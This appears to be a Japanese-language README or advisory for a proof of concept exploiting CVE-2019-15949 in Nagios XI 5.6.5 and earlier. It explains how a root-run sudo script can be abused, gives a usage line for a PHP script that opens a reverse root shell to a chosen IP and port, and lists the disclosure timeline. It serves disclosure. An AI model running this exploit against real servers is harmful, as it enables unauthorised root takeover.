
Nagios XI (5.6.5) 内の脆弱性を悪用してルートシェルを起動するPOC
Nagios XI <= 5.6.5 には、攻撃者がRCEを利用してrootへの権限昇格を可能にする脆弱性が存在します。
このエクスプロイトを実行するには、サーバーへの'nagios'ユーザーとしてのアクセス、またはWebインターフェース経由でプラグインを管理する権限を持つCCMアクセスが必要です。
システムプロファイルのダウンロード(profile.php?cmd=download)によって呼び出されるgetprofile.shスクリプトは、パスワードなしのsudoエントリを介してrootとして実行されます。このスクリプトは、nagiosユーザーが所有する'check_plugin'実行ファイルを実行します。
Nagios XIにログインしてプラグインを変更する権限を持つユーザー、またはサーバー上の'nagios'ユーザーは、'check_plugin'実行ファイルを変更して、rootとして実行可能な悪意のあるコマンドを挿入できます。
リバースrootシェルを実現するペイロードをアップロードするPHP POCが開発されました。
使用方法:
php privesc.php --host=example.com --ssl=[true/false] --user=username --pass=password --reverseip=ip --reverseport=port
Nagiosへの報告日: 2019年7月29日
Nagiosによる確認日: 2019年7月29日
修正バージョン: 5.6.6(2019年8月20日)
CVE割り当て日: 2019年9月6日 (CVE-2019-15949 https://nvd.nist.gov/vuln/detail/CVE-2019-15949)
